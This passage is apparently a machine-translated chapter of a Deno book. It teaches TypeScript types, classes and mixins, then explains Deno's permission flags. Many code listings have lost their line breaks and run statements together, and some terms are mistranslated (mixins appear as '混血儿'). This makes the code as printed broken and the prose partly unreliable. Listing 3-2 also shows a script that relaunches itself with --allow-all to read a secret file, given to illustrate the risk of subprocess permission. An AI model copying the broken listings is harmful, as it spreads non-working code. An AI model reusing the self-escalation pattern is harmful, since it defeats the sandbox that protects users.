TypeScript 添加到语言中的主要内容之一是静态类型检查以及几个增强开发人员体验的新类型。到目前为止,我已经展示了如何定义一个特定类型的变量。当你能控制的时候,这是很棒的;当您确切知道将要处理的数据类型时,定义类型会有很大帮助。
这种方法的问题是什么?对于固有的动态语言,你并不总是知道你必须处理的数据类型,数组就是一个例子。默认情况下,JavaScript 允许您定义一个动态大小的数组,您可以在其中添加您需要的任何内容。这是一个非常强大的工具。然而,TypeScript 强迫我们声明我们定义的每个数组的元素类型,那么我们如何混合这两个世界呢?
这就是any
型发挥作用的地方。您可以告诉代码期待“任何”类型,而不是强制代码期待一种特定的类型。查看以下代码片段,了解如何使用它:
let myListOfThings: any[] = [1,2, "Three", { four: 4} ]
myListOfThings.forEach( i => console.log(i))
下面是用 Deno 运行它得到的输出:
1
2
Three
{ four: 4 }
这种类型很棒,但是你必须小心使用它,因为如果你滥用它,你就忽略了这种语言的一个好处:静态类型检查。当您想要使用any
类型时,两个主要的用例之一是当您混合使用 JavaScript 和 TypeScript 时,因为它允许您利用后者的一些好处,而不必重写整个 JS 代码(或者潜在地,它背后的逻辑)。另一个用例是,在访问数据之前,你真的不知道你将使用什么类型的数据;否则,建议您实际声明该类型,并让 TypeScript 为您检查。
关于可空类型和联合类型的注记
到目前为止,我提到的所有类型都不允许您将null
作为有效值赋给它们——当然,这是指除任何类型之外的所有类型;这个可以让你给变量赋值。
那么,如何告诉 TypeScript 让您也给变量赋值 null 呢?(换句话说,如何使它们可为空?)答案是通过使用联合类型。
从本质上讲,联合类型是一种从几个其他类型的联合中创建新类型的方法,因为这里 null 是 TypeScript 的类型,所以您可以将null
与任何其他类型连接,从而允许我们所寻找的类型(参见下面的示例片段)。
let myvar:number | null = null // OK
let var2:string = null //invalid
let var3:string | null = null // OK
前面的代码展示了如何通过使用|字符来实现类型的联合。对于“数字或空值”或“字符串或空值”这样的类型,您也可以将它作为“或”运算符来读取
union 操作符不仅对创建可空类型有用,而且还可以用来允许在变量上分配多个不同的类型;查看清单 2-10 中的示例。
type stringFn = () => stringfunction print(x: string | stringFn) {if(typeof x == "string") return console.log(x)console.log(x())
}Listing 2-10Joining several types into a single variable using the union operator
第一行是为类型声明一个别名,允许我们以后引用它,在函数声明期间,你可以看到我们是如何允许一个字符串作为参数传递或者一个函数返回一个字符串。查看清单 2-11 ,看看当我们尝试传入不同类型的函数时会发生什么。
print("hello world!")print( () => {return "bye bye!"
})/*
Argument of type '() => number' is not assignable to parameter of type 'string | stringFn'.Type '() => number' is not assignable to type 'stringFn'.Type 'number' is not assignable to type 'string'.
*/
print( () => {return 2
})/*
Argument of type '(name: string) => string' is not assignable to parameter of type 'string | stringFn'.Type '(name: string) => string' is not assignable to type 'stringFn'.
*/
print( (name:string) => {return name
})Listing 2-11Type checking on the print function
如果你返回的不是字符串,或者你有额外的参数,类型定义是严格的,所以它们会失败。
您甚至可以使用 union 操作符来创建一个文字枚举,因此除了使用我在清单 2-7 中展示的语法之外,您还可以这样做:
type validStrings = "hello" | "world" | "it's me"
这意味着您可以将该类型别名赋给一个变量,而该变量只能赋这三个值中的一个。这是一个字面枚举,意味着你可以像那样使用它们,但是你不能像使用正确的枚举那样引用它的成员。
类和接口
有了基本的类型,我们可以进入其他新的构造,这将使我们的开发体验变得轻而易举。在这种情况下,我们将讨论类和接口。
值得注意的是,通过添加我们即将看到的概念,TypeScript 提出了一个更明确、更成熟的面向对象范例版本,vanilla JS 遵循了这一范例。也就是说,没有任何地方写着说你在使用 TS 时也应该遵循它;毕竟,这只是 JavaScript 的另一种风格,因此您也可以利用其固有的函数式编程能力。
接口
与类型类似,接口允许我们定义我喜欢称之为“对象类型”的东西当然,这只是这个概念的一行定义,它忽略了许多其他重要的东西。
也就是说,使用 TypeScript 中的接口,您可以定义对象的形状,而无需实现任何东西,这就是 ts 用来检查和验证赋值的东西。
接口的一个经典用例是定义方法或函数的参数应该具有的结构;你可以在图 2-1 中看到它是如何工作的。
图 2-1
由于定义了接口,自动完成对函数参数的处理
事实上,图 2-1 显示了拥有接口的一个额外的好处:智能感知完全知道你的对象的形状,而不需要实现它们的类(人们会认为,这需要你也实现方法逻辑)。
在处理模块时,无论是内部使用还是公共使用,除了导出相关的数据结构,您还可以导出接口,为开发人员提供有关参数和方法返回类型的形状信息,而不必过度共享可能被修改和篡改的敏感数据结构。
但这并不是接口能做的全部;事实上,这仅仅是个开始。
可选属性
TypeScript 中的接口允许您定义的一个非常有趣的行为是,对象上的一些属性总是需要存在,而其他属性可能是可选的。
这是一个非常 JavaScript 的事情,因为我们从来没有真正关心我们的对象的结构,因为它是完全动态的。事实上,这是这门语言的美妙之处之一,TS 不能真的忽视它,所以相反,它为我们提供了一种方法,让我们给混乱以结构。
现在,当你定义接口时,你知道有些属性可能并不总是存在,你所要做的就是在它们后面加上一个问号,如清单 2-12 所示。
interface IMyProps {name: string,age: number,city?: string
}Listing 2-12Defining an interface with optional properties
这将告诉 TS 的编译器,每当将一个对象赋给一个声明为IMyProps
的变量时,如果city
属性丢失,就不会出错。
事实上,您可以将 TS 的可选属性与 ES6 的可选链接(顺便说一句,Deno 已经实现了这一点)混合使用,以编写在预期缺失的属性有时实际上不存在时不会失败的代码。
interface IMyProps {name: stringage: numbercity?: stringfindCityCoordinates?(): number
}function sayHello( myProps: IMyProps) {console.log(`Hello there ${myProps.name}, you're ${myProps.age} years old and live in ${myProps.city?.toUpperCase()}`)
}sayHello({name: "Fernando",age: 37
})sayHello({name: "Fernando",age: 37,city: "Madrid"
})Listing 2-13Mixing optional attributes with optional chaining
清单 2-13 中的例子展示了我们如何访问字符串属性city
(可选)的方法toUpperCase
,由于可选的链接语法,我们不必检查它是否存在。当然,执行的输出并不理想,但是它不会像通常那样抛出错误;查看列表 2-14 。
Hello there Fernando, you're 37 years old and live in undefined
Hello there Fernando, you're 37 years old and live in MADRIDListing 2-14Output from Listing 2-13 using optional chaining
只读属性
您可以添加到属性中的另一个有趣的定义是,它们是只读的;就像对变量使用const
一样,现在只要需要,就可以拥有只读属性。
你所要做的就是在适当的地方使用关键字“readonly
”(参见清单 2-15 中的例子)。
interface IPerson {readonly name: string,age: number
}
let Person: IPerson = { name: "Fernando", age: 37}
Person.name = "Diego" /// Cannot assign to 'name' because it is a read-only propertyListing 2-15Using readonly properties on interfaces
前面的例子向您展示了,如果属性被标记为“readonly”,那么一旦初始化,您就无法真正修改这些属性
函数的接口
它也被称为函数契约。接口不仅允许你定义一个对象的形状,还可以用来定义一个函数需要遵循的契约。
这在处理回调函数时特别有用,您需要确保传递了带有正确参数和正确返回类型的正确函数。
查看清单 2-16 中如何使用函数接口的例子。
interface Greeter {(name: string, age: number, city: string): void
}const greeterFn: Greeter = function(n: string, a: number, city: string) {console.log(`Hello there ${n}, you're ${a} years old and live in ${city.toUpperCase()}`)
}function asyncOp(callback: Greeter) {///do async stuff here...callback("Fernando", 37, "Madrid")
}Listing 2-16Defining an interface for functions
请注意asyncOp
函数只能接受一个欢迎函数作为参数;您无法传递不符合接口指定的契约的有效回调。
使用类
自从 ES6 获得批准以来,JavaScript 已经将类的概念融入到语言中,尽管它们并不完全是标准的 OOP 类,包含方法覆盖、私有和公共属性、抽象构造等等。相反,JavaScript 中类的当前状态只允许您将属性和函数分组到一个实体(类)中,您可以在以后实例化它。与其说它是一种真正的处理和使用对象的新方法,不如说它是一种好的旧的原型继承模型的语法糖。
然而,TypeScript 将这一点带入了下一个层次,试图为您提供一个更健壮的模型,用它来实际构建一个面向对象的体系结构。
尽管语法(至少对于基本操作来说)在两种情况下是相同的(当然减去类型定义),正如你在清单 2-17 中看到的。
class Person {f_name: stringl_name: stringconstructor(fn: string, ln: string) {this.f_name = fnthis.l_name = ln}fullName(): string {return this.f_name + " " + this.l_name}
}Listing 2-17Class syntaxfor TypeScript
现在,由于有了 TS,我们可以做更多有趣的事情,比如声明私有属性或私有方法、实现接口等等;让我展示给你看。
可见性修改器
像许多基于 OOP 的语言一样,TypeScript 为类属性和方法提供了三种不同的可见性修饰符。让我们在这里快速回顾一下如何实现这些。
私有修饰符
这是一个经典的例子,每个人都要求 JavaScript 提供这个例子,而 ES6 在包含类时没有提供这个例子,因为在这一点上,语言中没有可见性修饰符(当然,这是在当前发布的 JavaScript 版本上,但是下一个版本的提议已经被批准)。
然而,TypeScript 实现了两个版本,一个遵循经典标准,使用了private
关键字,另一个遵循 ECMAScript 下一版本中的实现方式,使用了#
字符。
由于 Deno 的内部编译器使用的是最新版本的 TypeScript,所以使用这两种语法都没问题(如清单 2-18 所示)。
class Square {side: numberprivate area: number#perimeter: numberconstructor(s: number) {this.side = sthis.area = this.side * this.sidethis.#perimeter = this.side * 4}
}let oSquare = new Square(2)console.log(oSquare.#perimeter)
console.log(oSquare.area)Listing 2-18Using both private fields syntax
前面的代码有效;它在 Deno 中编译,但在 Deno 中失败,因为毕竟我试图从类定义之外直接访问这两个私有属性。清单 2-19 中显示了执行该代码所得到的错误。
error: TS18013 [ERROR]: Property '#perimeter' is not accessible outside class 'Square' because it has a private identifier.
console.log(oSquare.#perimeter)~~~~~~~~~~at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample2.ts:17:21TS2341 [ERROR]: Property 'area' is private and only accessible within class 'Square'.
console.log(oSquare.area)~~~~at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample2.ts:18:21Found 2 errors.Listing 2-19Error output from trying to access a private variable
再次重申,私有属性只能从定义它们的类中访问。这当然意味着你不能像清单 2-19 中所示的那样使用实例化的对象直接访问它(注意尽管错误消息不一样,但它们是一样的),而且你也不能使用从其他类继承的类的私有属性或方法。父类不与其子类共享私有属性和方法。
class Geometry {private area: numberprivate perimeter: numberconstructor() {this.area = 0this.perimeter = 0}
}class Square extends Geometry{side: numberconstructor(s: number) {super()this.side = sthis.area = this.side * this.sidethis.perimeter = this.side * 4}
}
let oSquare = new Square(2)Listing 2-20Using private variables inside derived classes
通过使用类似于清单 2-20 中所示的代码,您可以看到清单 2-21 中的错误类型。
error: TS2341 [ERROR]: Property 'area' is private and only accessible within class 'Geometry'.this.area = this.side * this.side~~~~at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample3.ts:18:14TS2341 [ERROR]: Property 'perimeter' is private and only accessible within class 'Geometry'.this.perimeter = this.side * 4~~~~~~~~~at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample3.ts:19:14Found 2 errors.Listing 2-21Error while trying to access a private property from a derived class
如果你真的在寻找那种行为,那么你必须使用受保护的属性。
受保护的修饰符
protected 修饰符允许您对外界隐藏属性和方法,就像前面的一样,但是您仍然可以从派生类中访问它们。
因此,如果你想继承一些私有属性,可以考虑使用protected
关键字,参见清单 2-22 中的例子。
class Geometry {protected area: numberprotected perimeter: numberconstructor() {this.area = 0this.perimeter = 0}
}class Square extends Geometry{side: numberconstructor(s: number) {super()this.side = sthis.area = this.side * this.sidethis.perimeter = this.side * 4}getArea(): number {return this.area}
}let oSquare = new Square(2)
console.log(oSquare.getArea())Listing 2-22Correct use of the protected keyword
前面的代码是有效的,您可以在不同的类之间共享属性,而不需要将它们公开,任何人都可以访问。
定义访问者
您还可以添加一种称为“访问器”的特殊属性,它允许您将属性包装在函数周围,并为赋值和检索操作定义不同的行为。在其他语言中,这些访问器也称为 getters 和 setters。
本质上,这些方法使您能够使用它们,就好像它们是它们正在包装的实际属性一样。您总是可以创建一两个方法来做同样的事情,但是您需要像普通方法一样处理它们。
让我向你展示我所说的清单 2-23 的含义。
class Geometry {protected area: numberprotected perimeter: numberconstructor() {this.area = 0this.perimeter = 0}
}class Square extends Geometry{private side: numberconstructor(s: number) {super()this.side = sthis.area = this.side * this.sidethis.perimeter = this.side * 4}set Side(value: number) {this.side = valuethis.area = this.side * this.side}get Side() {return this.side}get Area() {return this.area}
}let oSquare = new Square(2)
console.log("Side: ",oSquare.Side, " - area: ", oSquare.Area)
oSquare.Side = 10
console.log("Side: ", oSquare.Side, " - area: ", oSquare.Area)Listing 2-23Defining accessors
请注意我是如何围绕side
属性的赋值添加额外的逻辑的;现在,我不仅给属性赋值,还更新了area
的值。这是使用访问器的主要好处;在围绕动作添加额外逻辑的同时,保持了语法的整洁。这些对于在赋值或副作用上添加验证逻辑非常有用,就像我刚刚展示给你的。对于检索操作,您还可以添加默认行为,例如,如果您的数字属性尚未设置,则返回 0。想象力是极限;只要确保你利用了他们。
静态和抽象类
我想介绍的关于类的最后一点是这两个:修饰符static
和abstract
。如果你已经熟悉了来自 OOP 世界的这些概念,这两个就是你所期望的,但是以防万一,我们将在这里对它们做一个快速的概述。
静态成员也被称为类成员,这意味着它们不属于它的任何特定实例;相反,它们属于类本身。从本质上说,这意味着您可以通过在类名前面加上关键字来访问它们,而不是通过关键字this
。事实上,this
关键字不能用于静态成员,因为它引用了实例,而实例并不存在于静态上下文中。这个关键字对于声明类的所有实例都感兴趣的属性和方法很有用(参见清单 2-24 中的例子)。
type Point = {x: number,y: number
}class Grid {static origin: Point = {x: 0, y: 0};calculateDistanceFromOrigin(point: Point) {let xDist = (point.x - Grid.origin.x);let yDist = (point.y - Grid.origin.y);return Math.sqrt(xDist * xDist + yDist * yDist) / this.scale;}constructor (public scale: number) { }
}let grid1 = new Grid(1.0); // 1x scale
let grid2 = new Grid(5.0); // 5x scaleconsole.log(grid1.calculateDistanceFromOrigin({x: 10, y: 10}));
console.log(grid2.calculateDistanceFromOrigin({x: 10, y: 10}));Listing 2-24Using the static keyword
注意这里如何使用 origin 属性;因为所有实例的原点都是相同的,所以每次实例化一个新对象时都创建同一属性的不同实例是没有意义的。因此,相反,通过将其声明为 static,您可以确保该属性只存在一个版本。唯一的问题是你需要使用类名来引用它;仅此而已。
同样的推理也适用于静态方法;它们包含了类的所有实例都感兴趣的逻辑,但是这里的问题是你不能从里面访问关键字this
,因为没有实例可以引用。
然而,抽象类是一种完全不同的动物;它们用于定义必须由其他类继承但不能直接实例化的行为。这实际上非常接近于接口的定义,尽管这些接口仅限于定义所有方法的签名,而抽象类实际上提供了可以继承和使用的实现。
那么什么时候创建一个抽象类呢?简单,让我们回到几何/正方形的例子,我写了两个类,一个继承另一个。我们可以重构代码来使用抽象类,如清单 2-25 所示。
abstract class Geometry {protected area: numberprotected perimeter: numberconstructor() {this.area = 0this.perimeter = 0}
}class Square extends Geometry{private side: numberconstructor(s: number) {super()this.side = sthis.calculateAreaAndPerimeter()}private calculateAreaAndPerimeter() {this.perimeter = this.side * 4this.area = this.side * this.side}set Side(value: number) {this.side = valuethis.calculateAreaAndPerimeter()}get Side() {return this.side}get Area() {return this.area}
}Listing 2-25Using the abstract keyword
这种实现无疑表明,如果您在项目中使用它,您不能真正依赖于直接实例化几何图形;相反,你要么依赖 Square 类,要么自己创建并扩展几何图形。
这些都是可选的结构;当然,你可以很容易地依赖类,用默认的可见性修饰符(即 public)做任何事情,但是如果你要利用 TS 提供的所有这些工具,你就要增加额外的安全层,以确保编译器强制你或其他人按照最初的意图使用你的代码。
作为一个关于 TypeScript 的高级主题,我想介绍的最后一件事是 mixins,如果你已经决定一路深入 OOP rabbithole,它可能会派上用场。
类型脚本混合
当涉及到类继承时,TypeScript 强加的限制之一是一次只能扩展一个类。在大多数情况下,这不是一个问题,但是如果您正在处理一个足够复杂的架构,您可能会发现自己受到语言的限制。
让我们看一个例子:假设你需要将两种不同的行为封装到两个不同的抽象类中,Callable
和Activable
。
因为我们在这一点上只是虚构的,假设它们都向派生类添加了一个方法,允许您调用或激活该对象(无论这对您意味着什么)。记住,这些是抽象类,因为添加的行为完全独立于派生类。正常的做法应该是类似清单 2-26 中的例子。
abstract class Callable {call() {console.log("Call!")}
}abstract class Activable {active: boolean = falseactivate() {this.active = trueconsole.log("Activating...")}deactive() {this.active = falseconsole.log("Deactivating...")}
}class MyClass extends Callable, Activable{constructor() {super()}
}Listing 2-26Trying to extend several classes at the same time
当然,就像我之前说的,TypeScript 不允许我们这么做;查看清单 2-27 以查看我们将得到的错误。
error: TS1174 [ERROR]: Classes can only extend a single class.
class MyClass extends Callable, Activable{~~~~~~~~~at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample8.ts:21:33Listing 2-27Error while trying to extend a class from several parent classes
为了解决这个问题,我们可以做一个简单的(也非常糟糕的)变通方法,就是链接继承。或者换句话说,让Callable
延长Activable
,让MyClass
延长Callable
。这肯定会解决我们的小问题,但同时,它会迫使Callable
总是延长Activable
。这是一个非常糟糕的设计模式,你应该不惜一切代价避免;你想把这两种行为分开是有原因的,所以像那样把它们强迫在一起是没有意义的。
混血儿来救援了!
那么我们能做什么呢?这就是混音发挥作用的地方。现在,mixins 不是 TypeScript 提供的特殊构造;相反,它们更像是一种利用语言的两个不同方面的技术:
-
声明合并:这是一个你需要注意的非常奇怪和隐含的行为
-
接口类扩展:这意味着 TS 中的接口可以同时扩展几个类,不像类本身
基本上,实现这一点的步骤是
-
将父类中的方法签名添加到我们的派生类中。
-
迭代父类的方法,对于父类和派生类都有的每个方法,手动将它们链接在一起。
我知道这听起来很复杂,但实际上并不难;你所要记住的是如何实现这两点,你就大功告成了。
为了理解发生了什么,让我们先从第二点开始:
TypeScript 的官方文档 5 站点已经提供了该功能供我们使用,我们就不在这里真的尝试多此一举了;该功能的代码见清单 2-28 。
function applyMixins(derivedCtor: any, baseCtors: any[]) {baseCtors.forEach(baseCtor => {Object.getOwnPropertyNames(baseCtor.prototype).forEach(name => {let descriptor = Object.getOwnPropertyDescriptor(baseCtor.prototype, name)Object.defineProperty(derivedCtor.prototype, name, <PropertyDescriptor & ThisType<any>>descriptor);});});
}Listing 2-28Function to join two or more class declarations
前面的函数只是遍历父类,对于每个父类,遍历其属性列表并将这些属性定义到派生类中。本质上,我们手动将所有方法和属性从父节点链接到子节点。
An interesting side note
注意当我们必须处理类的内部工作时,我们实际上是直接引用原型链。这是一个明显的迹象,表明 JavaScript 的新类模型,就像我之前提到的,比其他任何东西都更有语法吸引力。
这样一来,如果我们试图使用它,我们就会遇到清单 2-29 中所示的问题;这是因为尽管我们已经完成了我们的工作,并且我们已经将缺少的方法添加到了子类中,但是我们仍然在处理 TypeScript,它主动检查我们对象的形状以确保我们调用了正确的方法,尽管我们添加了方法,但是我们并没有真正改变MyClass
的形状(也就是说,我们并没有真正声明正确的关系)。
error: TS2339 [ERROR]: Property 'call' does not exist on type 'MyClass'.
o.call()~~~~at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample9.ts:41:3TS2339 [ERROR]: Property 'activate' does not exist on type 'MyClass'.
o.activate()~~~~~~~~at file:///Users/fernandodoglio/workspace/personal/deno/classes/sample9.ts:42:3Found 2 errors.Listing 2-29Methods haven’t been added to the shape of MyClass
这就是声明合并和接口类扩展的地方。
abstract class Callable {call() {console.log("Call!")}
}abstract class Activable {active: boolean = falseactivate() {this.active = trueconsole.log("Activating...")}deactive() {this.active = falseconsole.log("Deactivating...")}
}class MyClass {constructor() {}
}
interface MyClass extends Callable, Activable {}Listing 2-30Adding declaration merging to complete the mixin
就是这样!清单 2-30 中的代码是所有奇迹发生的地方。不过我先解释一下,因为我自己也是试了几次才明白的。
-
MyClass
定义现在只是一个单一的类定义,并没有真正扩展任何东西。 -
我添加了一个新的接口定义,其名称与我们正在创建的类的名称完全相同。这是至关重要的,因为这个接口扩展了两个抽象类,从而将它们的方法定义合并到一个构造(接口)中,同时,这个构造也合并到类定义中,因为它们具有相同的名称(即声明合并, 6 意味着接口可以合并到类和其他构造中,如果它们具有相同的名称)。
现在,MyClass 的定义有了我们需要的方法签名和正确的形状;因此,我们现在可以自由地在我们的类中使用applyMixins
函数,并适当地调用新添加的方法,如清单 2-31 所示。
applyMixins(MyClass, [Callable, Activable])let o = new MyClass()o.call()
o.activate()Listing 2-31Calling the applyMixins function to join the classes into one
这段代码将产生我们预期的输出。记住,现在你已经经历了理解 mixins 如何工作的过程,我已经给了你一个完全可重复的公式,你可以在你所有的类中使用。只需复制并粘贴函数,并记住正确声明接口就可以了!
结论
这就是我在本书中停止谈论 TypeScript 的地方。为了继续学习 Deno,我已经介绍了您需要了解的所有内容。如果您喜欢 TypeScript 并想了解更多,我鼓励您查看他们的官方文档。毕竟,这种语言有一些方面我没有提到,不是因为它们真的没有用,而是因为这一章只是对这种语言的介绍,而不是完整的指南。
了解了 TS 的类型和 OOP 模型是如何工作的,你就可以继续阅读,而不用担心理解不了我将要讲的内容。
下一章将介绍 Deno 上的安全性是如何工作的,以及为什么要花这么多精力让开发人员担心这个问题。下一页见!
三、过着安全的生活
现在是时候谈谈 Deno 引入的一个新功能了,Node.js 从未试图解决这个问题,它本来可以防止 npm 遇到的一些主要问题:安全性。
尽管这些问题并不多,但我们已经看到 npm 在过去几年中出现了一些安全问题,其中大多数都与这样一个事实有关,即任何使用节点运行时执行的代码都自动拥有与执行脚本的用户相同的安全权限。
在这一章中,我们将看到 Deno 如何试图通过强制用户指定添加哪些权限来解决这个问题。
加强安全性
Deno 没有让操作系统来负责正在执行的脚本的安全性,而是强迫用户直接指定他们希望自己的脚本拥有哪些权限。
这不是新的做法;事实上,如果你有一部手机,你可能会在第一次安装或执行一个新的应用时看到一个警告,要求你允许访问你的联系人或相机或系统的其他部分。这样做的目的是为了让你,作为一个用户,确切地知道应用正在试图做什么,这让你决定你是否希望它访问它。
这里 Deno 做的完全一样,强行要求你允许(或者拒绝)访问不同的特性(比如从磁盘读取或者访问网络接口)。
目前,您可以允许或拒绝 Deno 脚本访问七个子系统,从允许它们从磁盘读取数据或允许访问网络接口以发送传出请求到其他更复杂的功能,如获得高分辨率的时间测量。
作为一名后端开发人员,我想我已经听到你们中的一些人在问:“等等,我真的需要记住允许我的后端服务访问网络接口吗?这时候那不是基本的吗?”
老实说,是也不是。诚然,如果您像使用 Node 一样使用 Deno,开发后端服务将是您工作的一大部分,但您也可能将 Deno 用于其他任务,这就是 Ryan 及其团队决定选择安全性而不是开发人员舒适性的原因。
不要误解我,我不是用不好的方式说的。对我来说,这个代价很小;你所要做的,作为一个微服务的开发者(这里举个例子),就是记得在你的脚本的启动行添加某个标志。但是,作为回报,您完全知道您添加了该权限,因为您需要该访问权限。无论是谁在其他地方执行相同的服务,都会看到这个标志,并自动知道它需要网络访问。
现在,举一个同样的例子,但是想想其他人可能已经发布的简单自动化脚本——可能是 Grunt 1 或 webpack 2 会做的事情。但是现在您注意到,为了执行它们,您还需要为它们提供对您的网络接口的访问;那不是会在你脑海中升起一面旗帜吗?如果它们是专门在本地磁盘上工作的工具,为什么它们需要这种访问呢?这正是 Deno 试图让您自问的问题类型,以避免可以轻松避免的安全问题。请将这些标志视为安全的类型系统。就像 TypeScript 能够简单地通过强制您始终使用正确的类型来防止许多错误一样,这些标志将有助于在将来避免许多安全问题。
它们是最终的安全解决方案吗?当然不是,就像 TypeScript 不是消除 bug 的终极工具一样。但是它们都有助于避免可能导致大问题的简单错误。
安全标志
现在是时候仔细看看这些有问题的标志,了解它们各自的作用,以及何时应该或不应该使用它们。虽然,就像我之前说的,有七个子系统你可以限制或允许访问,但事实上,有八个标志供你使用,我马上会解释为什么。
“一切都允许”标志
我要介绍的第一个是我提到的额外旗帜。这个标志的目的不是允许访问一个特定的子系统,而是基本上禁用所有的安全措施。
Note
正如你可能猜到的那样,这不是你应该使用的标志,除非你确切地知道你想要做什么。将标志添加到脚本的执行行并不是一项昂贵或耗时的任务,所以在决定使用这种方法之前要考虑权衡。
这样一来,这是目前唯一一个具有缩写形式的标志,所以您可以使用-A
形式,或者更明确地说,使用--allow-all
形式(注意第一个形式只有一个破折号字符,而第二个有两个)。查看以下代码片段,以准确理解如何在 CLI 中使用该标志:
$ deno run --allow-all your-script.ts
这将有效地禁用运行时提供的每一点安全性,或者回到我的 TypeScript 类比,这就像到处使用any
类型。只要确保如果你正在使用它,你有一个非常好的理由。
访问环境变量
使用 Deno 访问环境变量相对简单;您所要做的就是使用 Deno 名称空间并访问 env 属性(查看下面的示例以了解如何操作)。
console.log(Deno.env.get("HOME")) //should print your HOME directory path
这里的问题是,几乎任何有权访问系统的人都可以设置环境变量,并且那里存储了大量可能被误用的信息。例如,AWS CLI 工具期望几个环境变量指向包含敏感数据的文件夹,例如AWS_SHARED_CREDENTIALS_FILE
,它应该指示您的秘密 AWS 凭证存储在哪里。现在,想想攻击者通过添加一点代码来访问这些变量并读取文件(或它们包含的数据)将能够做些什么。这绝对是你不想让其他人知道的信息,除非他们不得不知道,这就是为什么 Deno 限制对它的访问。
回到我们的例子,如果您将前面的代码片段复制到一个文件中,并尝试运行它,您会得到下面的错误消息:
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
为了能够访问我们系统的这个特定部分,我们需要--allow-env
标志。因此,再次获取您的文件并如下执行它:
$ deno run --allow-env script.ts
这个标志将允许你的脚本读取和写入环境变量,所以确保你给你信任的代码这种访问。
高分辨率时间测量
高分辨率时间测量实际上可以用于几种类型的攻击,尤其是那些为了获得有关安全目标的信息而处理密码术的攻击。
但同时,在调试甚至试图优化代码时,它是一个很好的工具,尤其是在性能是一个大问题的关键系统中。这就是为什么你需要考虑这个标志,特别是因为它的效果和其他的不完全一样;让我解释一下。
对于其他标志,如果不允许某个特定的特性,就会得到一个 UnheldException,执行结束。这是一个非常明显的信号,表明你要么需要给你的脚本添加权限,要么你正在执行的脚本正在做一些你没有意识到的事情。
然而,使用高分辨率时间,您不会得到这种警告。事实上,你使用的方法仍然有效;只缺少高分辨率部分。让我们看一下清单 3-1 中的例子来理解发生了什么。
const start = performance.now()await Deno.readFile("./listing35.ts")
const end = performance.now()console.log("Reading this file took: ", end - start, " ms")Listing 3-1Calculating the time it takes to perform an action
现在,如果在没有合适的高分辨率标志的情况下执行清单 3-1 ,您将得到类似于"Reading this file took: 10 ms";
的结果,但是,如果您添加了--allow-hrtime
标志,结果将变为"Reading this file took: 10.551857 ms".
区别是相当大的,只有当你需要高层次的细节;否则,您可以使用默认行为。
允许访问网络接口
这是一个大问题,主要是因为访问网络接口既是一个经常需要的功能,也是一个非常开放的安全漏洞。有了发送请求的权限,恶意脚本就可以在您毫不知情的情况下发送信息,而且,如果您不能发送和接收 HTTP 请求,您能创建什么样的微服务呢?
别担心,有一种方法可以解决这个难题:允许列表。
到目前为止,我给你们展示的标志都是直接布尔标志;你用它们来允许或不允许某事。然而,一些仍然待定的标志(包括这个)也允许您提供一个列表作为 allow 标志的一部分。该特性为您允许特定特性的元素创建一个白名单,任何超出白名单的元素都会被自动拒绝。
当然,您可以在没有列表的情况下使用这些标志,但是考虑到其中一些标志是多么基本的资源,您很可能会发现自己几乎总是不得不允许使用它们。
有问题的标志是--allow-net
,您可以给它分配一个逗号分隔的域列表,如下所示:
$ deno run --allow-net=github.com,gitlab.com myscript.ts
如果您要从第一章的清单 1-5 中获取代码,并使用之前的代码行(以及--allow-read
和--allow-env
)执行它,您将获得图 3-1 的输出。
图 3-1
使用向非白名单域发送信息的脚本时出错
如果没有为标志创建白名单,执行脚本可能会以看似正常的执行结束,但我们都知道这句话实际上有多正确,所以请记住,如果可能的话,请始终将您的域列入白名单。
允许使用插件
虽然是一个实验性的功能,插件允许用户使用 Rust 扩展 Deno 的接口。现在,因为这还不是一个完整的特性,界面一直在变化,这也是为什么没有很多文档可用的原因。插件现在绝对是一个非常高级的话题,而且只对那些对实验性特性感兴趣的开发者有意义。
然而,如果,万一,你是那些试图玩插件的开发者之一,你将需要一个特殊的标志:--allow-plugin
。
没有它,你的代码将不能使用外部插件,所以记住它!事实上,默认情况下你不能真正弄乱语言也是一个好处;这意味着你不会被第三方的恶意扩展所欺骗,在你不知情的情况下导入一个不需要的插件。
允许从磁盘读取和向其写入
没错,您可以在代码中执行的两个最基本的操作是读取一个文件和写入一个文件,正如您可能已经从到目前为止展示的示例中收集到的那样,默认情况下,您是不允许这样做的。
而且想想也有道理;如果将从主机磁盘读取与其他权限结合在一起,比如读取环境变量(就像我已经展示过的),那么从主机磁盘读取可能是一个危险的操作。而写入它的磁盘就更糟糕了;如果你不受限制,你几乎可以做任何事情。你可以覆盖重要文件,把你的部分恶意代码留在电脑内部,等等;你的想象力真的是极限了。
但是,问题是,由于允许您的脚本执行或不执行这些操作之一的权限太大,您可以提供一个白名单来允许读取和写入,但只能从预定义的文件夹(甚至文件)列表中读取和写入。
例如,如果您的代码从配置文件中读取配置选项,这是一个特别有用的功能。在这种情况下,您可以授予对该文件的特定读取权限,而不授予其他权限,这为任何需要使用您的代码的人提供了额外的安慰,因为它不会读取任何不应该读取的内容。
查看下面一行,了解如何配置白名单的示例:
$ deno run --allow-read=/etc/ yourscript.ts
尽管您的执行行可能会变得有点笨拙,但是您可以根据需要提供尽可能多的细节,如下面的示例行所示,在这里您可以看到您是如何提供日志将被写入的确切文件夹和配置将被读取的确切文件的。
$ deno run --allow-write=/your-app-folder/logs --allow-read=/your-app-folder/config/default.ini,/your-app-folder/config/credentials.ini yourscript.ts
如果您,作为一个外部用户,看到这个执行行,您可以放心,无论脚本在做什么,它都不会在您的系统上做任何有趣的事情。
允许您的脚本生成新的子流程
如果您打算做诸如与其他 OS 命令交互之类的事情,那么生成子进程是一项有用的任务;但问题是,从安全角度来看,这个概念本身是非常危险的。
这是因为以有限权限运行但能够启动子流程的脚本可能会以更多权限启动自身。查看清单 3-2 以了解如何做到这一点。
let readStatus = await Deno.permissions.query({name: "read"})if(readStatus.state !== "granted") {const sp = Deno.run({cmd: ["deno","run","--unstable","--allow-all","reader.ts"]})sp.status()
} else {const decoder = new TextDecoder('UTF-8')const fileContent = await Deno.readFile("./secret.txt")console.log(decoder.decode(fileContent))
}Listing 3-2A script that calls itself with extra privileges
为了运行清单 3-2 中的代码,您需要使用--unstable
标志,因为 Deno 名称空间上的permissions
属性还不够稳定,不足以成为默认版本的一部分。请参见以下示例,了解如何运行该脚本:
